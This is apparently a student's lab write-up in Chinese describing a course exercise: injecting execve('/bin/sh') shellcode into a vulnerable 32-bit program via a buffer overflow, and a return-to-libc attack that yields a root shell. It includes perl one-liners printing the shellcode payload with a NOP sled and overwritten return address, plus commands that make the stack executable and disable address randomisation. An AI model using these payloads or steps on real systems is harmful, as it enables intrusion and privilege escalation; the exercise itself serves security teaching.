zoukankan      html  css  js  c++  java
  • 20145212罗天晨 注入shellcode实验及Retuen-to-libc实验

    注入shellcode实验

    实验步骤

    一、准备一段shellcode

    二、设置环境

    • Bof攻击防御技术
      1.从防止注入的角度来看:在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生。
      2.GCC中的编译器有堆栈保护技术(结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了。)
      3.此时就需要手动设置环境,具体在终端中输入如下:
    apt-cache search execstack
    apt-get install execstack
    execstack --help
    execstack -s pwn1    //设置堆栈可执行
    execstack -q pwn1    //查询文件的堆栈是否可执行
    

    三、构造要注入的payload

    • 1.Linux下有两种基本构造攻击buf的方法:
    //缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边
    1.retaddr+nop+shellcode
    2.nop+shellcode+retaddr
    
    • 2.在终端中输入如下:
      perl -e 'print "x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x4x3x2x1x00"' > input_shellcode
      上面最后的x4x3x2x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
      特别提醒:最后一个字符千万不能是x0a。不然下面的操作就做不了了。

    • 3.打开一个新的终端窗口注入这段攻击buf,具体输入如下:
      (cat input_shellcode;cat) | ./pwn1

    • 4.从图中可以看出此时不知道该覆盖的地址是什么,当然是不成功的。这就意味着需要在另一个终端通过gdb调试确定返回地址。(具体如何在终端中运行不再赘述)

      断在了ret的位置,也就是说,ret之后就跳到我们覆盖的retaddr那个地方了
      此时在gdb中输入break *0x080484ae,并且在另外一个终端中按下回车

    • 5.通过如下方式寻找需要输入的地址:

      //看到01020304了,就表明了这是返回地址的位置,也就是说0Xffffd61c是此时的位置。shellcode就紧紧的挨着这个地址,所以要输入地址是0xffffd620

    • 6.回到另一个终端,将input_shellcode修改如下:
      perl -e 'print "A" x 32;print "x20xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_shellcode

      成功了!!!


    Retuen-to-libc实验

    return-to-libc攻击是一种缓冲区溢出的变体攻击。这种攻击不需要一个栈就可以执行,甚至不需要一个 shellcode。取而代之的是我们让漏洞程序调转到现存的代码(比如已经载入内存的 libc 库中的 system()函数等)来实现我们的攻击。

    实验步骤

    一、配置实验环境

    • 1.在自己的虚拟机上输入命令安装一些用于编译32位C程序的东西,输入命令“linux32”进入32位linux环境,输入“/bin/bash”使用 bash。
    sudo apt-get update
    sudo apt-get install lib32z1 libc6-dev-i386
    sudo apt-get install lib32readline-gplv2-devsudo apt-get install lib32readline-gplv2-dev
    linux32
    /bin/bash
    

    • 2.关闭地址随机化:
      sudo sysctl -w kernel.randomize_va_space=0

    二、漏洞程序

    • 1.将漏洞程序保存在/tmp目录下,编译该程序,并设置SET-UID:
    • 2.我们还需要用到一个读取环境变量的程序:

    三、攻击程序

    • 1.把以下代码保存为“exploit.c”文件,保存到 /tmp 目录下

    • 2.用刚才的getenvaddr程序获得BIN_SH地址:

    • 3.利用gdb获得system和exit地址:

    • 4.将找到的三个内存地址填写在exploit.c中:

    • 5.删除刚才调试编译的exploit程序和badfile文件,重新编译修改后的exploit.c:

    • 6.先运行攻击程序exploit,再运行漏洞程序retlib,攻击成功,获得了root权限:

    四、总结

    这次的shellcode注入实验是根据老师给出的步骤一步一步实现的,同时也顺利的跳入了老师挖的坑=。=...
    跳坑的原因显然是我对于堆栈、地址的理解还不够透彻,没有注意到真正应该改成什么样的地址,今后的学习中我会通过更多的动手实践加深对此的理解。

  • 相关阅读:
    ES head安装笔记, 还没有试
    sed用法笔记
    Kibana笔记
    ElasticSearch笔记
    Mongo聚合笔记
    java 判断是否为数字
    Redis 一:安装篇
    make问题:make[1] entering directory
    Java 多线程 简单实例 (消费者与生成者)的关系
    Java 多线程 简单实例 (Runnable)
  • 原文地址:https://www.cnblogs.com/alovera/p/6498408.html
Copyright © 2011-2022 走看看